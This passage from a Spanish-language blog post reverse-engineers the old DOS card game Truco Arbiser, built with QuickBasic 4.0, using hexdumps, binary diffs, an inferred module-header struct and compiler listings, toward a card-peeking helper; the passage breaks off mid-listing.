Your Title - hacking2026-11-15T20:05:32+00:00http://example.com/tag/hacking.htmlAuthor HereCantándole truco al Truco Arbiser2026-11-15T11:37:00+00:00http://example.com/cantandole-truco-al-arbiser<blockquote>
<p>¡Hasta aquí llegó el olor!</p>
</blockquote>
<p>Al <a href="#código-fuente">final de este artículo</a> dejé el link para que puedas ver el código fuente del "espiador de cartas".</p>
<p>El <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> fue un juego de <code class="language-plaintext highlighter-rouge">Truco</code> que estuvo rondando en
las computadoras argentinas entre finales de los 80's y los 90's.
Se dice, que fue el programa más pirateado después del <code class="language-plaintext highlighter-rouge">MS-DOS</code>.</p>
<p>Durante años libré incansables batallas contra la PC y fui insultado y descansado incansablemente cada vez que jugaba alguna partida.
Siendo un juego de computadora, aún mi astucia jamás ha logrado ser suficiente para la victoria.
Pero ya no más. En este artículo, vamos a ver como hacerle <code class="language-plaintext highlighter-rouge">truco</code> al <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> y reclamar una victoria más del Humano contra la Máquina.</p>
<h1 id="el-análisis">El Análisis</h1>
<p>Para hacerle trucos al <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a>, primero tenemos que saber
antes que nada, en que fue programado.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"> arbiser$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">BRUN40.EXE MWYTRUC@.BAS SIMCGA.COM TRUCO.EXE truco.zip
MVYTRUC@ MXYTRUC@ SIMCGA.DOC truco.hexdump VOZ.COM
</span><span class="gp">$</span><span class="w"> </span>hexdump <span class="nt">-C</span> TRUCO.EXE |grep <span class="nt">-C5</span> <span class="nt">-i</span> BRUN
<span class="go">0000da00 3f ac cd 3f af cd 3f b0 cd 3f b7 cd 3f b8 cd 3f |?..?..?..?..?..?|
0000da10 b9 cd 3f ba cd 3f c7 cd 3f c8 cd 3f c9 cd 3f ca |..?..?..?..?..?.|
0000da20 cd 3f cf cd 3f d0 cd 3f d4 cd 3f d5 cd 3f fe cd |.?..?..?..?..?..|
0000da30 3f ff 00 cd 3f ff 01 cd 3f ff 02 cd 3f ff 06 cd |?...?...?...?...|
0000da40 3f ff 0f cd 3f ff 10 cd 3f ff 11 cd 3f ff 12 cd |?...?...?...?...|
0000da50 3f ff 13 cd 3f ff 14 00 3c 00 b1 42 52 55 4e 34 |?...?...<..BRUN4|
0000da60 30 2e 45 58 45 00 50 41 54 48 3d 75 11 00 b2 00 |0.EXE.PATH=u....|
0000da70 82 00 b0 bf e2 0d a1 02 00 2e a3 36 00 2b c7 3d |...........6.+.=|
0000da80 00 10 72 03 b8 00 10 fa 8e d7 81 c4 9e 4d fb 96 |..r..........M..|
0000da90 9f 2e 88 26 38 00 96 83 e4 fe 03 c7 a3 02 00 8c |...&8...........|
0000daa0 c3 2b d8 f7 db b4 4a cd 21 36 8c 1e 7d 00 a1 2c |.+....J.!6..}..,|
--
0000de70 f5 1f 89 36 3f 00 c3 1e 06 1f 81 ff 55 00 74 12 |...6?.......U.t.|
0000de80 8a 45 ff 3c 3a 74 0b 3c 5c 74 07 3c 2f 74 03 b0 |.E.<:t.<\t.</t..|
0000de90 5c aa be 43 00 b9 0b 00 f3 a4 1f ba 55 00 b8 00 |\..C........U...|
</span><span class="gp">0000dea0 3d cd 21 c3 b4 3e cd 21 72 01 c3 e9 be fc 00 45 |=.!..></span>.!r......E|
<span class="go">0000deb0 72 72 6f 72 20 69 6e 20 6c 6f 61 64 69 6e 67 20 |rror in loading |
0000dec0 42 52 55 4e 34 30 2e 45 58 45 20 52 54 4d 20 2d |BRUN40.EXE RTM -|
</span><span class="gp">0000ded0 20 24 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 | $</span>Memory allocat|
<span class="gp">0000dee0 69 6f 6e 20 65 72 72 6f 72 24 43 61 6e 6e 6f 74 |ion error$</span>Cannot|
<span class="go">0000def0 20 66 69 6e 64 20 66 69 6c 65 20 69 6e 20 50 41 | find file in PA|
</span><span class="gp">0000df00 54 48 24 44 69 73 6b 20 49 2f 4f 20 65 72 72 6f |TH$</span>Disk I/O erro|
<span class="gp">0000df10 72 24 49 6e 76 61 6c 69 64 20 66 6f 72 6d 61 74 |r$</span>Invalid format|
<span class="go">
</span></code></pre></div></div>
<p>Una búsqueda muy rápida y después de unos fabulosos <code class="language-plaintext highlighter-rouge">hexdump</code>, nos damos cuenta que el archivo <code class="language-plaintext highlighter-rouge">BRUN40.EXE</code> que también está en el directorio
donde está el juego, está presente.
Este archivo, es la librería (biblioteca para los puristas) <code class="language-plaintext highlighter-rouge">runtime</code> de programas compilados con <code class="language-plaintext highlighter-rouge">QuickBasic</code>,
un compilador del lenguaje de programación <code class="language-plaintext highlighter-rouge">BASIC</code> creado por Microsoft.
La versión particular de este <code class="language-plaintext highlighter-rouge">runtime</code> es la <code class="language-plaintext highlighter-rouge">4.0</code>. A partir de
ahora voy a referirme a <code class="language-plaintext highlighter-rouge">QuickBasic 4.0</code> como <code class="language-plaintext highlighter-rouge">QB4</code>.</p>
<p><code class="language-plaintext highlighter-rouge">QB4</code> consiste en dos procesadores de lenguaje. El primero, <code class="language-plaintext highlighter-rouge">QB.EXE</code>,
mantiene un entorno de programación interactivo. Es un compilador
incremental que convierte el código fuente a <code class="language-plaintext highlighter-rouge">threaded p-code</code> y
después va ejecutando <code class="language-plaintext highlighter-rouge">p-code</code> de forma interpretativa.
El otro, <code class="language-plaintext highlighter-rouge">BC.EXE</code> es un compilador de línea de comando
que produce archivos ejecutables nativos.</p>
<p>El <code class="language-plaintext highlighter-rouge">threaded p-code</code> es una suerte de <code class="language-plaintext highlighter-rouge">Virtual Machine</code>. Como la JVM por ejemplo. El código generado en <code class="language-plaintext highlighter-rouge">threaded p-code</code> es un <code class="language-plaintext highlighter-rouge">byte code</code> intermedio que es interpretado o bien por el intérprete <code class="language-plaintext highlighter-rouge">QB4</code> o bien
por el runtime <code class="language-plaintext highlighter-rouge">BRUN40.EXE</code>.</p>
<p>Cada uno de estos compiladores tienen ciertas ventajas, y que pueden
ser utilizados dependiendo de diferentes necesidades.
El interprete <code class="language-plaintext highlighter-rouge">p-code</code> pierde en velocidad de ejecución a cambio
de velocidad de <code class="language-plaintext highlighter-rouge">compilación</code>. Lo que permitía desarrollar mucho
más rápido. Recordemos que el <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> fue desarrollado en los
80s; asumo que en una XT o máximo una 286 por el tipo de computadoras
que había disponibles en esa época y sus precios.
También asumo que la versión que se puede bajar de la página del
<a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> es la versión del año 86 (u 87)<sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>, donde se menciona
que fue "recompilada" en la misma página, por la pantalla de
presentación, y porque no encontré manera de hacer que la voz funcione
aunque esté el archivo <code class="language-plaintext highlighter-rouge">VOZ.COM</code> en el zip que ofrece el sitio. Digo esto porque en el sitio del <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> se menciona que el módulo de voz fue desarrollado en el año 92 por pedido de una empresa.</p>
<p>Entonces la idea era desarrollar muy rápidamente con <code class="language-plaintext highlighter-rouge">p-code</code> y
después utilizar el compilador <code class="language-plaintext highlighter-rouge">BC</code> para generar el ejecutable
final sin la necesidad que el intérprete esté involucrado.</p>
<p>Pero pero pero, la desventaja de este método de desarrollo es que
cada compilador produce código diferente. <code class="language-plaintext highlighter-rouge">p-code</code> != <code class="language-plaintext highlighter-rouge">asm x86</code>.
Entonces, un programa que funciona bien en el intérprete <code class="language-plaintext highlighter-rouge">QB4</code> funciona
joya, pero cuando se compila a código máquina, algunas diferencias
de interpretación podían suceder, y el programa "final" crasheaba.</p>
<blockquote>
<p>Cabe recordar que esta optimización entre intérprete y "compilación final" era necesaria debido a lo lento que era el proceso iterativo de desarrollo de software en esta época. Los recursos eran limitados y estas soluciones ayudaban mucho a decrementar el tiempo del ciclo de desarrollo.</p>
</blockquote>
<p>Entonces, tenemos como conclusiones parciales que:</p>
<ul>
<li>La versión disponible del <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> 5.4, tiene copyright de 1986 y compilada con QB4, es decir, 1987 o posterior<sup id="fnref:3:1"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>. Datar el ejecutable es importante, nos ayuda a achicar las posibilidades de la versión de compiladores usados en esa época para un futuro análisis.</li>
<li>La presencia de <code class="language-plaintext highlighter-rouge">BRUN40.EXE</code> achica aún más las posibilidades. Me ayuda a asumir que el programa fue compilado con <code class="language-plaintext highlighter-rouge">QB4</code> y que se compiló no para que sea un ejecutable autocontenido, sino que en el momento de compilación se utilizó la opción <code class="language-plaintext highlighter-rouge">EXE Requiring BRUN40.EXE</code>.</li>
<li>La presencia de <code class="language-plaintext highlighter-rouge">BRUN40.EXE</code> en el ejecutable es consistente con mis observaciones.</li>
<li>Un programa compilado de esta manera, no se puede desensamblar fácilmente, ya que hay una "VM" de por medio.</li>
</ul>
<h1 id="el-problema">El Problema</h1>
<p>El problema no solo radica en que el ejecutable necesita de un <code class="language-plaintext highlighter-rouge">runtime</code>
para interpretar los <code class="language-plaintext highlighter-rouge">byte-codes</code> del programa compilado, sino que también
no sabemos absolutamente nada ni del formato del ejecutable, ni como
se interpretan los bytes, ni la estructura y distribución de la informacion
a lo largo del ejecutable.</p>
<p>Podemos asumir que al principio del archivo, hay un <code class="language-plaintext highlighter-rouge">header</code> que va a ser levantado por <code class="language-plaintext highlighter-rouge">MSDOS</code>, que en algún lugar va a guardarse los strings y
que en algún otro lugar se va a alojar el código <code class="language-plaintext highlighter-rouge">p-code</code> si todo lo
que venimos diciendo fuera correcto.</p>
<p>Estoy obviando en este artículo varios intentos de atacar el problema
del desensamblado desde diferentes ópticas. Todos fallidos, por supuesto.
Intenté desensamblar el <a href="https://www-2.dc.uba.ar/charlas/lud/truco/">Truco Arbiser</a> con <code class="language-plaintext highlighter-rouge">IDAPro</code> attacheado a un
debugger linkeado a una version especial del <code class="language-plaintext highlighter-rouge">DOSBOX</code> y no solamente es
inestable, si no que cada dos por tres una <code class="language-plaintext highlighter-rouge">interrupción</code> del procesador
se hace presente rompiendo el flujo principal de la ejecución del programa, lo que lo hace <em>inseguible</em>.
Lo que si aprendí debuggeando por mucho tiempo, es que hay una tabla
de <code class="language-plaintext highlighter-rouge">CALLS</code> que apuntan a <code class="language-plaintext highlighter-rouge">NULL</code> que son patcheadas en <code class="language-plaintext highlighter-rouge">runtime</code> mientras
el programa se va ejecutando. Lo que hace que <code class="language-plaintext highlighter-rouge">QB4</code> genere ejecutables
que se automodifican; haciendo la tarea de debuggeo muchísimo más difícil.</p>
<p>También intenté debuggear usando el <code class="language-plaintext highlighter-rouge">Turbo Debugger</code>, con mejores
resultados, pero como se consume mucha memoria (640k ftw!), no logré
llegar muy lejos tampoco porque o bien el programa trapeaba un <code class="language-plaintext highlighter-rouge">out of memory</code> o bien simplemente crasheaba mostrando caracteres random en
la pantalla.</p>
<p>Cuando me refiero a "llegar lejos" hablo de que luego que varias
iteraciones de parsear <code class="language-plaintext highlighter-rouge">p-code</code> y patchear direcciones de memoria, nunca llegué siquiera a la función que muestra la pantalla de título del juego.</p>
<p>Existe una posibilidad de linkear dos instancias de <code class="language-plaintext highlighter-rouge">dosbox</code> por serial,
correr el <code class="language-plaintext highlighter-rouge">Turbo Debugger</code> y el programa por separado, interrumpir el programa en algun lado remotamente y debuggear desde ahí, pero ya a esta altura estaba frustrado y leyendo artículos sobre este método, me la
bajó bastante que se quejaran en los foros que esta forma de debuggear
fuera tan lenta.</p>
<p>En definitiva, ir por la opción de debuggear consume tanto tiempo
que lo hace impracticable para este caso.<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">2</a></sup></p>
<h1 id="desensamblador-p-code">Desensamblador P-Code</h1>
<p>Entonces se me ocurrió: ¿Qué pasa si en vez de debuggear, escribo
un desensamblador? <sup id="fnref:1:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">2</a></sup>
Antes de escribirlo e ir por este camino, obviamente busqué en la
interwebz si alguien ya lo había hecho. Existen algunas soluciones
parciales y un señor que cobra de 350 a 5000 libras esterlinas
en Gran Bretania que ofrece el servicio de desensamblado.
Claramente pagar no es una opción.
Entonces, con este nuevo foco, me puse manos a la obra.</p>
<h2 id="las-cosas-obvias">Las cosas obvias</h2>
<p>Vamos a tratar en nuestras pruebas, compilar las cosas como pudieran haberlo
hecho los Arbiser en su momento.
La idea detrás de esto, es ver como se comporta el ejecutable
compilado a nivel binario con pequeñas variaciones en el programa
<code class="language-plaintext highlighter-rouge">BASIC</code>.</p>
<p>Entonces, primero escribimos un programa muy sencillo:</p>
<p><img src="/assets/images/arbiser/qb_000.png" alt="Un 'Hola Mundo' con una variable" class="img-responsive" /></p>
<p>Y lo compilamos con lo que aprendimos sobre lo que pudo haber sido la configuración
de los Arbiser en su época, con la información que analizamos en las secciones anteriores.</p>
<p><img src="/assets/images/arbiser/qb_001.png" alt="Compilamos para que necesite BRUN" class="img-responsive" /></p>
<p>Y compilamos una segunda version con este código fuente</p>
<p><img src="/assets/images/arbiser/qb_002.png" alt="Compilamos para que necesite BRUN" class="img-responsive" /></p>
<h3 id="ieee-754">IEEE 754</h3>
<p>Notaran que los cambios entre los dos programas en <code class="language-plaintext highlighter-rouge">BASIC</code> son muy pocos.
Habiendo hecho estos cambios, hacemos un diff binario de los dos
ejecutables y comparamos que cambios hubo entre ellos:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"> $</span><span class="w"> </span>diff <<span class="o">(</span>xxd HOLA1.EXE<span class="o">)</span> <<span class="o">(</span>xxd HOLA2.EXE<span class="o">)</span>
<span class="go">33c33
< 00000200: 626d 484f 4c41 3120 2020 0000 6218 3018 bmHOLA1 ..b.0.
---
</span><span class="gp">></span><span class="w"> </span>00000200: 626d 484f 4c41 3220 2020 0000 6218 3018 bmHOLA2 ..b.0.
<span class="go">162,163c162,163
< 00000a10: b200 6017 b00a 0044 1848 6f6c 6120 4d75 ..`....D.Hola Mu
< 00000a20: 6e64 6f00 007f 4312 00b2 000e 00b0 ffff ndo...C.........
---
</span><span class="gp">></span><span class="w"> </span>00000a10: b200 6017 b00a 0044 1848 4f4c 4120 4d55 ..<span class="sb">`</span>....D.HOLA MU
<span class="gp">></span><span class="w"> </span>00000a20: 4e44 4f00 00fe 4212 00b2 000e 00b0 ffff NDO...B.........
</code></pre></div></div>
<p>Ignorando el cambio del nombre del archivo, se puede ver que el
string es diferente, y en 0x0a25 hay un word que cambia que asumo
que es la variable con valor 127 y 255. Lo interesante es que no
es claro a simple vista como se representa 255 con 0x7f43 y 127
con 0xfe42.</p>
<p>Después de mirar fijo un rato estos números, es fácil darse cuenta
que no solamente no son <code class="language-plaintext highlighter-rouge">words</code> sino más bien <code class="language-plaintext highlighter-rouge">doublewords</code> y que
el formato de estos números es el de la <code class="language-plaintext highlighter-rouge">IEEE 754</code>. Comparé varios
números generados en un nuevo ejecutable con el siguiente código:</p>
<div class="language-visualbasic highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">3</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">4</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">5</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">6</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">7</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">8</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">9</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="o">-</span><span class="mi">3</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="o">-</span><span class="mi">4</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="o">-</span><span class="mi">5</span>
<span class="n">LET</span> <span class="n">variable</span> <span class="o">=</span> <span class="o">-</span><span class="mi">6</span>
</code></pre></div></div>
<p>Aqui debajo se pueden ver los valores <code class="language-plaintext highlighter-rouge">dword</code> generados por esta asignación
de variables. Podés comparar por vos mismo estos <code class="language-plaintext highlighter-rouge">dword</code> con una calculadora <code class="language-plaintext highlighter-rouge">IEEE 754</code> si querés:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"> $</span><span class="w"> </span>hexdump <span class="nt">-C</span> HOLA5.EXE |grep <span class="nt">-A5</span> ab0
<span class="go">00000ab0 b2 00 60 17 b0 0a 00 44 18 48 4f 4c 41 20 4d 55 |..`....D.HOLA MU|
00000ac0 4e 44 4f 00 00 00 40 00 00 40 40 00 00 80 40 00 |NDO...@..@@...@.|
00000ad0 00 a0 40 00 00 c0 40 00 00 e0 40 00 00 00 41 00 |..@...@...@...A.|
00000ae0 00 10 41 00 00 00 00 00 00 00 c0 00 00 40 c0 00 |..A..........@..|
00000af0 00 80 c0 00 00 a0 c0 00 00 c0 c0 46 00 b2 00 0a |...........F....|
00000b00 00 b0 ff ff 01 03 00 b2 00 25 00 b0 4f 00 0f 00 |.........%..O...|
</span></code></pre></div></div>
<p>Un ejemplo, el valor <code class="language-plaintext highlighter-rouge">-5</code> representado en <code class="language-plaintext highlighter-rouge">IEEE 754</code> en el offset <code class="language-plaintext highlighter-rouge">0xaf3</code> es <code class="language-plaintext highlighter-rouge">0xc0a00000</code>.</p>
<p>Toda esta explicación que estoy haciendo implica que ya sabemos interpretar un tipo de datos
generado por el compilador.</p>
<h3 id="detectando-headers">Detectando Headers</h3>
<p>Todo muy hermoso ¿Pero de qué sirve saber como interpretar un par
de <code class="language-plaintext highlighter-rouge">doubles</code> en el binario si no sabemos siquiera en que sección hay que buscarlos?</p>
<p>Acá la cosa se va a poner bastante linda, porque por simple observación,
si miramos un ejecutable generado por <code class="language-plaintext highlighter-rouge">QB4</code> podemos apreciar que no
hay solamente uno, sino <em>dos</em> headers.
El primero es obvio que es el header de un <code class="language-plaintext highlighter-rouge">.EXE</code> pero el
segundo, no es tan fácil de ver a simple vista, aunque con un ojo
entrenado, se nota mirándolo fijo. Muy fijo.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"> $</span><span class="w"> </span>hexdump <span class="nt">-C</span> HOLA5.EXE |grep <span class="nt">-A5</span> HOLA5
<span class="go">00000200 62 6d 48 4f 4c 41 35 20 20 20 00 00 92 18 30 18 |bmHOLA5 ....0.|
00000210 40 18 00 00 00 00 00 00 30 18 00 00 00 00 00 00 |@.......0.......|
00000220 40 18 0a 00 00 00 00 00 00 00 00 00 ff ff 80 00 |@...............|
00000230 b8 40 18 50 9a 52 01 0f 00 cd 35 06 4e 18 cd 35 |.@.P.R....5.N..5|
00000240 1e 36 18 cd 3d cd 35 06 52 18 cd 35 1e 36 18 cd |.6..=.5.R..5.6..|
00000250 3d cd 35 06 56 18 cd 35 1e 36 18 cd 3d cd 35 06 |=.5.V..5.6..=.5.|
</span></code></pre></div></div>
<p>Sospecho que en el offset <code class="language-plaintext highlighter-rouge">0x200</code>, el primer word es un identificador
de algun tipo, los siguientes (sospechosamente paddeados con
espacios) 8 bytes es el nombre del archivo, y luego varios bytes
con valores desconocidos hasta que empieza a haber algo que o bien
es código o es datos.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* bm header */</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">id</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// bm for BRUN modules</span>
<span class="kt">char</span> <span class="n">module_name</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="kt">uint16_t</span> <span class="n">sat</span><span class="p">;</span> <span class="c1">// Statament Address Table</span>
<span class="kt">uint16_t</span> <span class="n">ds</span><span class="p">;</span> <span class="c1">// </span>
<span class="kt">uint16_t</span> <span class="n">data</span><span class="p">;</span> <span class="c1">// BC_DATA</span>
<span class="kt">uint16_t</span> <span class="n">ft</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">icn</span><span class="p">;</span> <span class="c1">// base for icn</span>
<span class="kt">uint16_t</span> <span class="n">inc</span><span class="p">;</span> <span class="c1">// base for INIT</span>
<span class="kt">uint16_t</span> <span class="n">dsg</span><span class="p">;</span> <span class="c1">// base for DATA (runtime DATA)</span>
<span class="kt">uint16_t</span> <span class="n">com</span><span class="p">;</span> <span class="c1">// offset for common</span>
<span class="kt">uint16_t</span> <span class="n">sz_com</span><span class="p">;</span> <span class="c1">// size for common</span>
<span class="kt">uint16_t</span> <span class="n">uconst</span><span class="p">;</span> <span class="c1">// offset for user const</span>
<span class="kt">uint16_t</span> <span class="n">udata</span><span class="p">;</span> <span class="c1">// user data</span>
<span class="kt">uint16_t</span> <span class="n">cn</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">sz_frame</span><span class="p">;</span>
<span class="kt">uint16_t</span> <span class="n">alloc</span><span class="p">;</span> <span class="c1">// offset heap allocation routine for ISAM</span>
<span class="kt">uint16_t</span> <span class="n">seg_alloc</span><span class="p">;</span> <span class="c1">// segment heap allocation routine</span>
<span class="kt">uint16_t</span> <span class="n">off_dealloc</span><span class="p">;</span> <span class="c1">// offset heap deallocation routine for ISAM</span>
<span class="kt">uint16_t</span> <span class="n">seg_dealloc</span><span class="p">;</span> <span class="c1">// segment heap deallocation routine</span>
<span class="kt">int16_t</span> <span class="n">c_switch</span><span class="p">;</span> <span class="c1">// value of /C:n switch, -1 if not given</span>
<span class="kt">uint16_t</span> <span class="n">u_flag</span><span class="p">;</span> <span class="c1">// switches specified at compile time</span>
<span class="p">}</span> <span class="n">bm_hdr</span><span class="p">;</span>
</code></pre></div></div>
<h3 id="yendo-por-otros-lados">Yendo por otros lados</h3>
<p><code class="language-plaintext highlighter-rouge">BC.EXE</code> que es el <code class="language-plaintext highlighter-rouge">QuickBasic Compiler</code> tiene varios flags
que pueden pasarse como parámetros a la hora de compilar.
Uno de estos parámetros es el <code class="language-plaintext highlighter-rouge">/a</code> que además de compilar el
programa, también genera un "listado" en un assembler
a medio camino de llegar a ser puro código máquina.</p>
<p>Un ejemplo, el siguiente programa en <code class="language-plaintext highlighter-rouge">BASIC</code> que llamé <code class="language-plaintext highlighter-rouge">FOR.BAS</code>:</p>
<div class="language-visualbasic highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">n</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">FOR</span> <span class="n">x</span> <span class="o">=</span> <span class="mi">1</span> <span class="n">TO</span> <span class="mi">16</span><span class="p">:</span>
<span class="n">n</span> <span class="o">=</span> <span class="p">(</span><span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="n">x</span>
<span class="n">PRINT</span> <span class="s">"N ahora es:"</span><span class="p">,</span> <span class="n">n</span>
<span class="n">NEXT</span> <span class="n">x</span>
</code></pre></div></div>
<p>Genera el siguiente archivo <code class="language-plaintext highlighter-rouge">FOR.LST</code> con el flag <code class="language-plaintext highlighter-rouge">/a</code>:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nf">PAGE</span> <span class="mi">1</span>
<span class="err">24</span> <span class="nf">Feb</span> <span class="mi">22</span>
<span class="err">16</span><span class="p">:</span><span class="err">25</span><span class="p">:</span><span class="err">51</span>
<span class="nf">Offset</span> <span class="nv">Data</span> <span class="nv">Source</span> <span class="nv">Line</span> <span class="nv">Microsoft</span> <span class="p">(</span><span class="nv">R</span><span class="p">)</span> <span class="nv">QuickBASIC</span> <span class="nv">Compiler</span> <span class="nv">Version</span> <span class="mf">4.00</span>
<span class="err">0030</span> <span class="err">0006</span> <span class="nf">n</span> <span class="err">=</span> <span class="mi">0</span>
<span class="err">0030</span> <span class="err">0006</span> <span class="nf">FOR</span> <span class="nv">x</span> <span class="err">=</span> <span class="mi">1</span> <span class="nv">TO</span> <span class="mi">16</span><span class="p">:</span>
<span class="err">0030</span> <span class="o">**</span> <span class="nl">I00002:</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0032</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">06h</span>
<span class="err">0033</span> <span class="o">**</span> <span class="kd">dw</span> <span class="o"><</span><span class="mi">00000000</span><span class="o">></span>
<span class="err">0035</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0037</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">1Eh</span>
<span class="err">0038</span> <span class="o">**</span> <span class="kd">dw</span> <span class="nv">N</span><span class="err">!</span>
<span class="err">003</span><span class="nf">A</span> <span class="o">**</span> <span class="nv">int</span> <span class="mh">3Dh</span>
<span class="err">003</span><span class="nf">C</span> <span class="o">**</span> <span class="nv">int</span> <span class="mh">35h</span>
<span class="err">003</span><span class="nf">E</span> <span class="o">**</span> <span class="nv">db</span> <span class="mh">06h</span>
<span class="err">003</span><span class="nf">F</span> <span class="o">**</span> <span class="nv">dw</span> <span class="o"><</span><span class="mi">0000803</span><span class="nv">F</span><span class="o">></span>
<span class="err">0041</span> <span class="o">**</span> <span class="nf">jmp</span> <span class="nv">I00003</span>
<span class="err">0044</span> <span class="err">000</span><span class="nf">A</span> <span class="nv">n</span> <span class="err">=</span> <span class="p">(</span><span class="nv">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="nv">x</span>
<span class="err">0044</span> <span class="err">000</span><span class="nf">A</span> <span class="nv">PRINT</span> <span class="s">"N ahora es:"</span><span class="p">,</span> <span class="nv">n</span>
<span class="err">0044</span> <span class="err">000</span><span class="nf">A</span> <span class="nv">NEXT</span> <span class="nv">x</span>
<span class="err">0044</span> <span class="o">**</span> <span class="nl">I00004:</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0046</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">06h</span>
<span class="err">0047</span> <span class="o">**</span> <span class="kd">dw</span> <span class="nv">N</span><span class="err">!</span>
<span class="err">0049</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">34h</span>
<span class="err">004</span><span class="nf">B</span> <span class="o">**</span> <span class="nv">db</span> <span class="mh">06h</span>
<span class="err">004</span><span class="nf">C</span> <span class="o">**</span> <span class="nv">dw</span> <span class="o"><</span><span class="mi">0000803</span><span class="nv">F</span><span class="o">></span>
<span class="err">004</span><span class="nf">E</span> <span class="o">**</span> <span class="nv">int</span> <span class="mh">34h</span>
<span class="err">0050</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">0Eh</span>
<span class="err">0051</span> <span class="o">**</span> <span class="kd">dw</span> <span class="nv">X</span><span class="err">!</span>
<span class="err">0053</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0055</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">1Eh</span>
<span class="err">0056</span> <span class="o">**</span> <span class="kd">dw</span> <span class="nv">N</span><span class="err">!</span>
<span class="err">0058</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">3Dh</span>
<span class="err">005</span><span class="nf">A</span> <span class="o">**</span> <span class="nv">mov</span> <span class="nb">ax</span><span class="p">,</span><span class="nv">offset</span> <span class="o"><</span><span class="nv">const</span><span class="o">></span>
<span class="err">005</span><span class="nf">D</span> <span class="o">**</span> <span class="nv">push</span> <span class="nb">ax</span>
<span class="err">005</span><span class="nf">E</span> <span class="o">**</span> <span class="nv">call</span> <span class="nv">B$PCSD</span>
<span class="err">0063</span> <span class="o">**</span> <span class="nf">push</span> <span class="nv">N</span><span class="err">!</span><span class="o">+</span><span class="mh">0002h</span>
<span class="err">0067</span> <span class="o">**</span> <span class="nf">push</span> <span class="nv">N</span><span class="err">!</span>
<span class="err">006</span><span class="nf">B</span> <span class="o">**</span> <span class="nv">call</span> <span class="nv">B$PER4</span>
<span class="err">0070</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">35h</span>
<span class="err">0072</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">06h</span>
<span class="err">0073</span> <span class="o">**</span> <span class="kd">dw</span> <span class="nv">X</span><span class="err">!</span>
<span class="err">0075</span> <span class="o">**</span> <span class="nf">int</span> <span class="mh">34h</span>
<span class="err">0077</span> <span class="o">**</span> <span class="kd">db</span> <span class="mh">06h</span>
<span class="err">0078</span> <span class="o">**</span> <span class="kd">dw</span> <span class="o"><</span><span class="mi">0000803</span><span class="nv">F</span><span class="o">></span>
<span class="err">007</span><span class="nf">A</span> <span class="o">**</span> <span class="nv">I00003</span><span class="p">:</span> <span class="nv">int</span> <span class="mh">35h</span>
<span class="err">007</span><span class="nf">C</span> <span class="o">**</span> <span class="nv">db</span> <span class="mh">1Eh</span>
<span class="err">007</span><span class="nf">D</span> <span class="o">**</span> <span class="nv">dw</span> <span class="nv">X</span><span class="err">!</span>
<span class="err">007</span><span class="nf">F</span> <span class="o">**</span> <span class="nv">int</span> <span class="mh">3Dh</span>
